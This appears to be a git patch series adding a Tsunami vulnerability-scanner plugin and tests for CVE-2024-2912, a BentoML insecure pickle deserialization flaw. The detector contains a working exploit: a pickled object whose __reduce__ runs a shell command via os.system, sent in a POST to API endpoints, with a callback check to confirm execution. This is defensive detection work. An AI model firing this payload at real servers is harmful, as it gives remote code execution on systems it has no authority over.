From 40aa27196457ef5eff60dfa4c3e3cccc025af4e3 Mon Sep 17 00:00:00 2001 From: secureness Date: Mon, 29 Jul 2024 15:17:45 +0200 Subject: [PATCH 1/9] add bentoml insecure deserlization plugin --- .../bentoml_rce_detector.py | 206 ++++++++++++++++++ 1 file changed, 206 insertions(+) create mode 100644 py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py new file mode 100644 index 000000000..23f748356 --- /dev/null +++ b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py @@ -0,0 +1,206 @@ +# Copyright 2024 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""A Tsunami plugin for detecting CVE-2024-2912.""" +import pickle +import time +from absl import logging +from google.protobuf import timestamp_pb2 +import tsunami_plugin +from common.data import network_endpoint_utils +from common.data import network_service_utils +from common.net.http.http_client import HttpClient +from common.net.http.http_headers import HttpHeaders +from common.net.http.http_request import HttpRequest +from plugin.payload.payload_generator import PayloadGenerator +import detection_pb2 +import payload_generator_pb2 as pg +import plugin_representation_pb2 +import vulnerability_pb2 + +_VULN_DESCRIPTION = ( + 'The BentoML framework is vulnerable to an insecure deserialization issue that can' + ' be exploited by sending a single POST request to any valid endpoint. ' + 'The impact of this is remote code execution.' +) +_SLEEP_TIME_SEC = 20 + + +class Cve20242912Detector(tsunami_plugin.VulnDetector): + """A TsunamiPlugin that detects RCE on the BentoMLtarget.""" + + def __init__( + self, http_client: HttpClient, payload_generator: PayloadGenerator + ): + self.http_client = http_client + self.payload_generator = payload_generator + + def GetPluginDefinition(self) -> tsunami_plugin.PluginDefinition: + """Defines the PluginDefinition for Cve20242912Detector. + + Returns: + The PluginDefinition used for the Tsunami engine to identify this plugin. + """ + return tsunami_plugin.PluginDefinition( + info=plugin_representation_pb2.PluginInfo( + type=plugin_representation_pb2.PluginInfo.VULN_DETECTION, + name='Cve20242912VulnDetector', + version='1.0', + description=_VULN_DESCRIPTION, + author='secureness (nosecureness@gmail.com)', + ) + ) + + def Detect( + self, + target: tsunami_plugin.TargetInfo, + matched_services: list[tsunami_plugin.NetworkService], + ) -> tsunami_plugin.DetectionReportList: + """Run detection logic for the BentoML target. + + Args: + target: TargetInfo about BentoML Insecure Deserialization. + matched_services: A list of network services whose vulnerabilities could + be detected by this plugin. "rtsp" for example would be on this list. + + Returns: + A tsunami_plugin.DetectionReportList for all the vulnerabilities of the + scanning target.d + """ + logging.info('Cve20242912Detector starts detecting.') + vulnerable_services = [ + s for s in matched_services if self._IsSupportedService(s) + ] + + return detection_pb2.DetectionReportList( + detection_reports=[ + self._BuildDetectionReport(target, service) + for service in vulnerable_services + if self._IsServiceVulnerable(service) + ] + ) + + def _IsSupportedService( + self, network_service: tsunami_plugin.NetworkService + ) -> bool: + """Check if network service is a web service or an unknown service.""" + return ( + not network_service.service_name + or network_service_utils.is_web_service(network_service) + or network_service_utils.get_service_name(network_service) == 'unknown' + or network_service_utils.get_service_name(network_service) == 'rtsp' + ) + + def _IsServiceVulnerable( + self, network_service: tsunami_plugin.NetworkService + ) -> bool: + """Check if network service may result in RCE.""" + + # find an endpoint with "Service APIs" tag + paths_and_methods = [] + url = self._BuildUrl(network_service, "docs.json") + request = ( + HttpRequest.get(url) + .with_empty_headers() + .build() + ) + try: + response = self.http_client.send(request, network_service) + for pathName in response.body_json()["paths"]: + print(pathName) + for httpMethod in response.body_json()["paths"][pathName]: + for tags in response.body_json()["paths"][pathName][httpMethod]["tags"]: + print(tags) + if tags == "Service APIs": + paths_and_methods.append([pathName, httpMethod]) + except Exception: # pylint: disable=broad-exception-caught + logging.exception('Unable to query %s', url) + + if len(paths_and_methods) == 0: + # there are no Service APIs to exploit + return False + + config = pg.PayloadGeneratorConfig( + vulnerability_type=pg.PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE, + interpretation_environment=pg.PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL, + execution_environment=pg.PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT, + ) + payload = self.payload_generator.generate(config) + if not payload.get_payload_attributes().uses_callback_server: + return False + + class Payload(object): + def __reduce__(self): + import os + return os.system, (f'/bin/sh -c "{payload.get_payload()}"',) + + rce_command = pickle.dumps(Payload()) + for path_and_method in paths_and_methods: + url = self._BuildUrl(network_service, path_and_method[0]) + request = ( + HttpRequest.builder().set_method(path_and_method[1].upper()).set_url(url) + .set_headers( + HttpHeaders.builder() + .add_header("Content-Type", "application/vnd.bentoml+pickle") + .build() + ) + .set_request_body(rce_command) + .build() + ) + try: + response = self.http_client.send(request, network_service) + time.sleep(_SLEEP_TIME_SEC) + return payload.check_if_executed(response.body) + except Exception: # pylint: disable=broad-exception-caught + logging.exception('Unable to query %s', url) + return False + + def _BuildUrl(self, network_service: tsunami_plugin.NetworkService, vulnerable_path) -> str: + """Build the vulnerable target path for RCE injection.""" + if network_service_utils.is_web_service(network_service): + url = network_service_utils.build_web_application_root_url( + network_service + ) + else: + url = 'http://{}/'.format( + network_endpoint_utils.to_uri_authority( + network_service.network_endpoint + ) + ) + return url + vulnerable_path + + def _BuildDetectionReport( + self, + target: tsunami_plugin.TargetInfo, + vulnerable_service: tsunami_plugin.NetworkService, + ) -> detection_pb2.DetectionReport: + """Generate the detection report for all vulnerability findings.""" + return detection_pb2.DetectionReport( + target_info=target, + network_service=vulnerable_service, + detection_timestamp=timestamp_pb2.Timestamp().GetCurrentTime(), + detection_status=detection_pb2.DetectionStatus.VULNERABILITY_VERIFIED, + vulnerability=vulnerability_pb2.Vulnerability( + main_id=vulnerability_pb2.VulnerabilityId( + publisher='TSUNAMI_COMMUNITY', value='CVE_2024_2912' + ), + severity=vulnerability_pb2.Severity.CRITICAL, + title=( + 'BentoML Insecure Deserialization RCE (CVE-2024-2912)' + ), + recommendation=( + 'Users of affected versions should upgrade to 3.1.7, 3.2.3.' + ), + description=_VULN_DESCRIPTION, + ), + ) From c3771d450a18e0f6f3828596c4b2432037a971d9 Mon Sep 17 00:00:00 2001 From: secureness Date: Fri, 16 Aug 2024 15:22:40 +0200 Subject: [PATCH 2/9] fix control flow issues --- .../bentoml_rce_detector.py | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py index 23f748356..83801d315 100644 --- a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py +++ b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py @@ -32,12 +32,13 @@ 'The BentoML framework is vulnerable to an insecure deserialization issue that can' ' be exploited by sending a single POST request to any valid endpoint. ' 'The impact of this is remote code execution.' + 'The affected versions are between 1.2.0 and 1.2.4.' ) _SLEEP_TIME_SEC = 20 class Cve20242912Detector(tsunami_plugin.VulnDetector): - """A TsunamiPlugin that detects RCE on the BentoMLtarget.""" + """A TsunamiPlugin that detects RCE on the BentoML target.""" def __init__( self, http_client: HttpClient, payload_generator: PayloadGenerator @@ -71,11 +72,11 @@ def Detect( Args: target: TargetInfo about BentoML Insecure Deserialization. matched_services: A list of network services whose vulnerabilities could - be detected by this plugin. "rtsp" for example would be on this list. + be detected by this plugin. "ppp" for example would be on this list. Returns: A tsunami_plugin.DetectionReportList for all the vulnerabilities of the - scanning target.d + scanning target. """ logging.info('Cve20242912Detector starts detecting.') vulnerable_services = [ @@ -98,7 +99,7 @@ def _IsSupportedService( not network_service.service_name or network_service_utils.is_web_service(network_service) or network_service_utils.get_service_name(network_service) == 'unknown' - or network_service_utils.get_service_name(network_service) == 'rtsp' + or network_service_utils.get_service_name(network_service) == 'ppp' ) def _IsServiceVulnerable( @@ -117,10 +118,8 @@ def _IsServiceVulnerable( try: response = self.http_client.send(request, network_service) for pathName in response.body_json()["paths"]: - print(pathName) for httpMethod in response.body_json()["paths"][pathName]: for tags in response.body_json()["paths"][pathName][httpMethod]["tags"]: - print(tags) if tags == "Service APIs": paths_and_methods.append([pathName, httpMethod]) except Exception: # pylint: disable=broad-exception-caught @@ -145,6 +144,7 @@ def __reduce__(self): return os.system, (f'/bin/sh -c "{payload.get_payload()}"',) rce_command = pickle.dumps(Payload()) + responsesBody = [] for path_and_method in paths_and_methods: url = self._BuildUrl(network_service, path_and_method[0]) request = ( @@ -159,10 +159,13 @@ def __reduce__(self): ) try: response = self.http_client.send(request, network_service) - time.sleep(_SLEEP_TIME_SEC) - return payload.check_if_executed(response.body) + responsesBody.append(response.body) except Exception: # pylint: disable=broad-exception-caught logging.exception('Unable to query %s', url) + time.sleep(_SLEEP_TIME_SEC) + for responseBody in responsesBody: + if payload.check_if_executed(responseBody): + return True return False def _BuildUrl(self, network_service: tsunami_plugin.NetworkService, vulnerable_path) -> str: @@ -175,9 +178,9 @@ def _BuildUrl(self, network_service: tsunami_plugin.NetworkService, vulnerable_p url = 'http://{}/'.format( network_endpoint_utils.to_uri_authority( network_service.network_endpoint - ) + ).strip("/") ) - return url + vulnerable_path + return url + vulnerable_path.strip("/") def _BuildDetectionReport( self, From 6bc37331bc4ff118ce577ccffb90debf3930c84b Mon Sep 17 00:00:00 2001 From: secureness Date: Mon, 19 Aug 2024 23:11:27 +0200 Subject: [PATCH 3/9] add tests --- .../bentoml_rce_detector_tests.py | 169 ++++++++++++++++++ 1 file changed, 169 insertions(+) create mode 100644 py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py new file mode 100644 index 000000000..7e41dff6b --- /dev/null +++ b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py @@ -0,0 +1,169 @@ +# Copyright 2024 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +"""Tests for Cve20242912Detector.""" +import unittest.mock as umock + +import requests_mock +from absl.testing import absltest + +import network_pb2 +import network_service_pb2 +import plugin_representation_pb2 +import reconnaissance_pb2 +import software_pb2 +import tsunami_plugin +from common.data import network_endpoint_utils +from common.net.http.requests_http_client import RequestsHttpClientBuilder +from plugin.payload.payload_generator import PayloadGenerator +from plugin.payload.payload_secret_generator import PayloadSecretGenerator +from plugin.payload.payload_utility import get_parsed_payload +from plugin.tcs_client import TcsClient +from py_plugins.bentoml_rce_detector import Cve20242912Detector +from py_plugins.bentoml_rce_detector import _VULN_DESCRIPTION + +# Callback server +_CBID = '04041e8898e739ca33a250923e24f59ca41a8373f8cf6a45a1275f3b' +_IP_ADDRESS = '127.0.0.1' +_PORT = 8000 +_SECRET = 'a3d9ed89deadbeef' +_CALLBACK_URL = 'http://%s:%s/%s' % (_IP_ADDRESS, _PORT, _CBID) + +# Vulnerable target +_TARGET_URL = 'vuln-target.com' +_TARGET_PORT = 9001 + +_DOCS_BODY = '''{ + "openapi": "3.0.2", + "paths": { + "/summarize": { + "post": { + "tags": [ + "Service APIs" + ] + } + } + }, + "servers": [ + { + "url": "." + } + ] + }'''.encode('utf-8') + + +class Cve20242912DetectorTest(absltest.TestCase): + def setUp(self): + super().setUp() + # payload generator and client with callback + request_client = RequestsHttpClientBuilder().build() + self.psg = PayloadSecretGenerator() + self.psg.generate = umock.MagicMock(return_value=_SECRET) + callback_client = TcsClient( + _IP_ADDRESS, _PORT, _CALLBACK_URL, request_client + ) + self.payloads = get_parsed_payload() + self.payload_generator = PayloadGenerator( + self.psg, self.payloads, callback_client + ) + # detector + self.detector = Cve20242912Detector( + request_client, self.payload_generator + ) + + @requests_mock.mock() + def test_detect_vuln_target_with_callback_server_returns_empty(self, mock): + # detector without callback + disabled_client = TcsClient('', 0, '', RequestsHttpClientBuilder().build()) + self.detector.payload_generator = PayloadGenerator( + self.psg, self.payloads, disabled_client + ) + mock.register_uri( + 'GET', + 'http://%s:%s/docs.json' % (_TARGET_URL, _TARGET_PORT), + content=_DOCS_BODY, + status_code=200, + ) + mock.register_uri( + 'POST', 'http://%s:%s/summarize' % (_TARGET_URL, _TARGET_PORT), + status_code=200 + ) + mock.register_uri( + 'GET', '%s/?secret=%s' % (_CALLBACK_URL, _SECRET), status_code=404 + ) + network_service = network_service_pb2.NetworkService( + network_endpoint=network_endpoint_utils.for_hostname_and_port( + _TARGET_URL, _TARGET_PORT + ), + transport_protocol=network_pb2.TransportProtocol.TCP, + software=software_pb2.Software(name='http'), + service_name='http', + ) + target_info = reconnaissance_pb2.TargetInfo( + network_endpoints=[network_service.network_endpoint] + ) + detection_reports = self.detector.Detect(target_info, [network_service]) + self.assertEmpty(detection_reports.detection_reports) + + # OK + def test_get_plugin_definition_returns_plugin_definition(self): + self.assertEqual( + tsunami_plugin.PluginDefinition( + info=plugin_representation_pb2.PluginInfo( + type=plugin_representation_pb2.PluginInfo.VULN_DETECTION, + name='Cve20242912VulnDetector', + version='1.0', + description=_VULN_DESCRIPTION, + author='secureness (nosecureness@gmail.com)', + ) + ), + self.detector.GetPluginDefinition(), + ) + + @requests_mock.mock() + def test_detect_healthy_target_with_callback_server_returns_empty(self, mock): + # detector without callback + disabled_client = TcsClient('', 0, '', RequestsHttpClientBuilder().build()) + self.detector.payload_generator = PayloadGenerator( + self.psg, self.payloads, disabled_client + ) + mock.register_uri( + 'GET', + 'http://%s:%s/docs.json' % (_TARGET_URL, _TARGET_PORT), + content=_DOCS_BODY, + status_code=200, + ) + mock.register_uri( + 'POST', 'http://%s:%s/summarize' % (_TARGET_URL, _TARGET_PORT), + status_code=200 + ) + mock.register_uri( + 'GET', '%s/?secret=%s' % (_CALLBACK_URL, _SECRET), status_code=404 + ) + network_service = network_service_pb2.NetworkService( + network_endpoint=network_endpoint_utils.for_hostname_and_port( + _TARGET_URL, _TARGET_PORT + ), + transport_protocol=network_pb2.TransportProtocol.TCP, + software=software_pb2.Software(name='http'), + service_name='http', + ) + target_info = reconnaissance_pb2.TargetInfo( + network_endpoints=[network_service.network_endpoint] + ) + detection_reports = self.detector.Detect(target_info, [network_service]) + self.assertEmpty(detection_reports.detection_reports) + + +if __name__ == '__main__': + absltest.main() From fde3d5b00e90131b4a7cd16519ece0598a05b7e0 Mon Sep 17 00:00:00 2001 From: secureness Date: Mon, 19 Aug 2024 23:49:00 +0200 Subject: [PATCH 4/9] update tests --- .../bentoml_rce_detector_tests.py | 85 ++++++++++++------- 1 file changed, 54 insertions(+), 31 deletions(-) diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py index 7e41dff6b..02197049c 100644 --- a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py +++ b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py @@ -1,4 +1,4 @@ -# Copyright 2024 Google LLC +# Copyright 2022 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. @@ -11,24 +11,28 @@ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. -"""Tests for Cve20242912Detector.""" +"""Tests for SpringCloudFunctionDetector.""" +import json import unittest.mock as umock +from importlib.resources import contents -import requests_mock from absl.testing import absltest +import requests_mock -import network_pb2 -import network_service_pb2 -import plugin_representation_pb2 -import reconnaissance_pb2 -import software_pb2 -import tsunami_plugin from common.data import network_endpoint_utils from common.net.http.requests_http_client import RequestsHttpClientBuilder from plugin.payload.payload_generator import PayloadGenerator from plugin.payload.payload_secret_generator import PayloadSecretGenerator from plugin.payload.payload_utility import get_parsed_payload from plugin.tcs_client import TcsClient +import tsunami_plugin +import detection_pb2 +import network_pb2 +import network_service_pb2 +import plugin_representation_pb2 +import reconnaissance_pb2 +import software_pb2 +import vulnerability_pb2 from py_plugins.bentoml_rce_detector import Cve20242912Detector from py_plugins.bentoml_rce_detector import _VULN_DESCRIPTION @@ -62,7 +66,7 @@ }'''.encode('utf-8') -class Cve20242912DetectorTest(absltest.TestCase): +class SpringCloudFunctionDetectorTest(absltest.TestCase): def setUp(self): super().setUp() # payload generator and client with callback @@ -82,12 +86,7 @@ def setUp(self): ) @requests_mock.mock() - def test_detect_vuln_target_with_callback_server_returns_empty(self, mock): - # detector without callback - disabled_client = TcsClient('', 0, '', RequestsHttpClientBuilder().build()) - self.detector.payload_generator = PayloadGenerator( - self.psg, self.payloads, disabled_client - ) + def test_detect_service_with_callback_server_returns_vul(self, mock): mock.register_uri( 'GET', 'http://%s:%s/docs.json' % (_TARGET_URL, _TARGET_PORT), @@ -98,8 +97,12 @@ def test_detect_vuln_target_with_callback_server_returns_empty(self, mock): 'POST', 'http://%s:%s/summarize' % (_TARGET_URL, _TARGET_PORT), status_code=200 ) + # response for callback server + body = '{ "has_dns_interaction":false, "has_http_interaction":true}' mock.register_uri( - 'GET', '%s/?secret=%s' % (_CALLBACK_URL, _SECRET), status_code=404 + 'GET', + '%s/?secret=%s' % (_CALLBACK_URL, _SECRET), + content=body.encode('utf-8'), ) network_service = network_service_pb2.NetworkService( network_endpoint=network_endpoint_utils.for_hostname_and_port( @@ -107,31 +110,36 @@ def test_detect_vuln_target_with_callback_server_returns_empty(self, mock): ), transport_protocol=network_pb2.TransportProtocol.TCP, software=software_pb2.Software(name='http'), - service_name='http', ) target_info = reconnaissance_pb2.TargetInfo( network_endpoints=[network_service.network_endpoint] ) detection_reports = self.detector.Detect(target_info, [network_service]) - self.assertEmpty(detection_reports.detection_reports) - - # OK - def test_get_plugin_definition_returns_plugin_definition(self): self.assertEqual( - tsunami_plugin.PluginDefinition( - info=plugin_representation_pb2.PluginInfo( - type=plugin_representation_pb2.PluginInfo.VULN_DETECTION, - name='Cve20242912VulnDetector', - version='1.0', + detection_pb2.DetectionReport( + target_info=target_info, + network_service=network_service, + detection_status=detection_pb2.VULNERABILITY_VERIFIED, + vulnerability=vulnerability_pb2.Vulnerability( + main_id=vulnerability_pb2.VulnerabilityId( + publisher='TSUNAMI_COMMUNITY', value='CVE_2024_2912' + ), + severity=vulnerability_pb2.Severity.CRITICAL, + title=( + 'BentoML Insecure Deserialization RCE (CVE-2024-2912)' + ), + recommendation=( + 'Users of affected versions should upgrade to 3.1.7, 3.2.3.' + ), description=_VULN_DESCRIPTION, - author='secureness (nosecureness@gmail.com)', - ) + ), ), - self.detector.GetPluginDefinition(), + detection_reports.detection_reports[0], ) + # OK @requests_mock.mock() - def test_detect_healthy_target_with_callback_server_returns_empty(self, mock): + def test_detect_vuln_target_with_callback_server_returns_empty(self, mock): # detector without callback disabled_client = TcsClient('', 0, '', RequestsHttpClientBuilder().build()) self.detector.payload_generator = PayloadGenerator( @@ -164,6 +172,21 @@ def test_detect_healthy_target_with_callback_server_returns_empty(self, mock): detection_reports = self.detector.Detect(target_info, [network_service]) self.assertEmpty(detection_reports.detection_reports) + # OK + def test_get_plugin_definition_returns_plugin_definition(self): + self.assertEqual( + tsunami_plugin.PluginDefinition( + info=plugin_representation_pb2.PluginInfo( + type=plugin_representation_pb2.PluginInfo.VULN_DETECTION, + name='Cve20242912VulnDetector', + version='1.0', + description=_VULN_DESCRIPTION, + author='secureness (nosecureness@gmail.com)', + ) + ), + self.detector.GetPluginDefinition(), + ) + if __name__ == '__main__': absltest.main() From 6dd0ef1576c3ba92e67a075112e6053b6a9b7fcd Mon Sep 17 00:00:00 2001 From: secureness Date: Mon, 19 Aug 2024 23:50:21 +0200 Subject: [PATCH 5/9] update tests --- .../bentoml_rce_detector_tests.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py index 02197049c..2c59f3dab 100644 --- a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py +++ b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py @@ -1,4 +1,4 @@ -# Copyright 2022 Google LLC +# Copyright 2024 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. @@ -11,7 +11,7 @@ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. -"""Tests for SpringCloudFunctionDetector.""" +"""Tests for Cve20242912Detector.""" import json import unittest.mock as umock from importlib.resources import contents @@ -66,7 +66,7 @@ }'''.encode('utf-8') -class SpringCloudFunctionDetectorTest(absltest.TestCase): +class Cve20242912DetectorTest(absltest.TestCase): def setUp(self): super().setUp() # payload generator and client with callback From 43413b81660f7bab6322ce11485504eb67c71c99 Mon Sep 17 00:00:00 2001 From: secureness Date: Tue, 3 Sep 2024 07:43:21 +0200 Subject: [PATCH 6/9] snake_case for variables, remove unused imports, sort imports, fix a mistake about wrong indent thanks to the lokiuox --- .../bentoml_rce_detector.py | 28 +++++++++---------- .../bentoml_rce_detector_tests.py | 14 ++++------ 2 files changed, 19 insertions(+), 23 deletions(-) diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py index 83801d315..682f75cbb 100644 --- a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py +++ b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py @@ -12,20 +12,20 @@ # See the License for the specific language governing permissions and # limitations under the License. """A Tsunami plugin for detecting CVE-2024-2912.""" -import pickle -import time from absl import logging -from google.protobuf import timestamp_pb2 -import tsunami_plugin from common.data import network_endpoint_utils from common.data import network_service_utils from common.net.http.http_client import HttpClient from common.net.http.http_headers import HttpHeaders from common.net.http.http_request import HttpRequest +from google.protobuf import timestamp_pb2 from plugin.payload.payload_generator import PayloadGenerator import detection_pb2 import payload_generator_pb2 as pg +import pickle import plugin_representation_pb2 +import time +import tsunami_plugin import vulnerability_pb2 _VULN_DESCRIPTION = ( @@ -117,11 +117,11 @@ def _IsServiceVulnerable( ) try: response = self.http_client.send(request, network_service) - for pathName in response.body_json()["paths"]: - for httpMethod in response.body_json()["paths"][pathName]: - for tags in response.body_json()["paths"][pathName][httpMethod]["tags"]: + for path_name in response.body_json()["paths"]: + for http_method in response.body_json()["paths"][path_name]: + for tags in response.body_json()["paths"][path_name][http_method]["tags"]: if tags == "Service APIs": - paths_and_methods.append([pathName, httpMethod]) + paths_and_methods.append([path_name, http_method]) except Exception: # pylint: disable=broad-exception-caught logging.exception('Unable to query %s', url) @@ -144,7 +144,7 @@ def __reduce__(self): return os.system, (f'/bin/sh -c "{payload.get_payload()}"',) rce_command = pickle.dumps(Payload()) - responsesBody = [] + responses_body = [] for path_and_method in paths_and_methods: url = self._BuildUrl(network_service, path_and_method[0]) request = ( @@ -159,13 +159,13 @@ def __reduce__(self): ) try: response = self.http_client.send(request, network_service) - responsesBody.append(response.body) + responses_body.append(response.body) except Exception: # pylint: disable=broad-exception-caught logging.exception('Unable to query %s', url) - time.sleep(_SLEEP_TIME_SEC) - for responseBody in responsesBody: - if payload.check_if_executed(responseBody): - return True + time.sleep(_SLEEP_TIME_SEC) + for responseBody in responses_body: + if payload.check_if_executed(responseBody): + return True return False def _BuildUrl(self, network_service: tsunami_plugin.NetworkService, vulnerable_path) -> str: diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py index 2c59f3dab..a4bc31cb2 100644 --- a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py +++ b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py @@ -12,29 +12,25 @@ # See the License for the specific language governing permissions and # limitations under the License. """Tests for Cve20242912Detector.""" -import json -import unittest.mock as umock -from importlib.resources import contents - from absl.testing import absltest -import requests_mock - from common.data import network_endpoint_utils from common.net.http.requests_http_client import RequestsHttpClientBuilder from plugin.payload.payload_generator import PayloadGenerator from plugin.payload.payload_secret_generator import PayloadSecretGenerator from plugin.payload.payload_utility import get_parsed_payload from plugin.tcs_client import TcsClient -import tsunami_plugin +from py_plugins.bentoml_rce_detector import Cve20242912Detector +from py_plugins.bentoml_rce_detector import _VULN_DESCRIPTION import detection_pb2 import network_pb2 import network_service_pb2 import plugin_representation_pb2 import reconnaissance_pb2 +import requests_mock import software_pb2 +import tsunami_plugin +import unittest.mock as umock import vulnerability_pb2 -from py_plugins.bentoml_rce_detector import Cve20242912Detector -from py_plugins.bentoml_rce_detector import _VULN_DESCRIPTION # Callback server _CBID = '04041e8898e739ca33a250923e24f59ca41a8373f8cf6a45a1275f3b' From b2498ba5878651ecddeda2ec5e913ef38fe85fe7 Mon Sep 17 00:00:00 2001 From: SandBox <86597176+secureness@users.noreply.github.com> Date: Sat, 21 Sep 2024 23:27:59 +0300 Subject: [PATCH 7/9] fix camelCase Co-authored-by: Savio Sisco <25590129+lokiuox@users.noreply.github.com> --- .../bentoml_deserialization_rce/bentoml_rce_detector.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py index 682f75cbb..440a946d4 100644 --- a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py +++ b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py @@ -163,8 +163,8 @@ def __reduce__(self): except Exception: # pylint: disable=broad-exception-caught logging.exception('Unable to query %s', url) time.sleep(_SLEEP_TIME_SEC) - for responseBody in responses_body: - if payload.check_if_executed(responseBody): + for response_body in responses_body: + if payload.check_if_executed(response_body): return True return False From 919c1ee5b7d9dede6f11cbe2b6bd8867d5075f3e Mon Sep 17 00:00:00 2001 From: SandBox <86597176+secureness@users.noreply.github.com> Date: Sat, 21 Sep 2024 23:28:51 +0300 Subject: [PATCH 8/9] Rename bentoml_rce_detector_tests.py to bentoml_rce_detector_test.py --- ...bentoml_rce_detector_tests.py => bentoml_rce_detector_test.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename py_plugins/bentoml_deserialization_rce/{bentoml_rce_detector_tests.py => bentoml_rce_detector_test.py} (100%) diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_test.py similarity index 100% rename from py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_tests.py rename to py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_test.py From 6d20d652367119542fd711766443f020500bd7ec Mon Sep 17 00:00:00 2001 From: secureness Date: Thu, 10 Oct 2024 17:59:54 +0200 Subject: [PATCH 9/9] add _IsBentoMlWebService --- .../bentoml_rce_detector.py | 20 ++++++++++++++++++- .../bentoml_rce_detector_test.py | 12 +++++++++++ 2 files changed, 31 insertions(+), 1 deletion(-) diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py index 440a946d4..d3d2840de 100644 --- a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py +++ b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector.py @@ -80,7 +80,8 @@ def Detect( """ logging.info('Cve20242912Detector starts detecting.') vulnerable_services = [ - s for s in matched_services if self._IsSupportedService(s) + service for service in matched_services if + self._IsSupportedService(service) and self._IsBentoMlWebService(service) ] return detection_pb2.DetectionReportList( @@ -102,6 +103,23 @@ def _IsSupportedService( or network_service_utils.get_service_name(network_service) == 'ppp' ) + def _IsBentoMlWebService( + self, network_service: tsunami_plugin.NetworkService + ) -> bool: + """Check if this web service is a BentoML web application.""" + url = self._BuildUrl(network_service, "/") + request = ( + HttpRequest.get(url) + .with_empty_headers() + .build() + ) + try: + response = self.http_client.send(request, network_service) + return "BentoML Prediction Service" in response.body_string() + except Exception: # pylint: disable=broad-exception-caught + logging.exception('Unable to query %s', url) + return False + def _IsServiceVulnerable( self, network_service: tsunami_plugin.NetworkService ) -> bool: diff --git a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_test.py b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_test.py index a4bc31cb2..e6cf56e7d 100644 --- a/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_test.py +++ b/py_plugins/bentoml_deserialization_rce/bentoml_rce_detector_test.py @@ -83,6 +83,12 @@ def setUp(self): @requests_mock.mock() def test_detect_service_with_callback_server_returns_vul(self, mock): + mock.register_uri( + 'GET', + 'http://%s:%s/' % (_TARGET_URL, _TARGET_PORT), + content="BentoML Prediction Service".encode('utf-8'), + status_code=200, + ) mock.register_uri( 'GET', 'http://%s:%s/docs.json' % (_TARGET_URL, _TARGET_PORT), @@ -141,6 +147,12 @@ def test_detect_vuln_target_with_callback_server_returns_empty(self, mock): self.detector.payload_generator = PayloadGenerator( self.psg, self.payloads, disabled_client ) + mock.register_uri( + 'GET', + 'http://%s:%s/' % 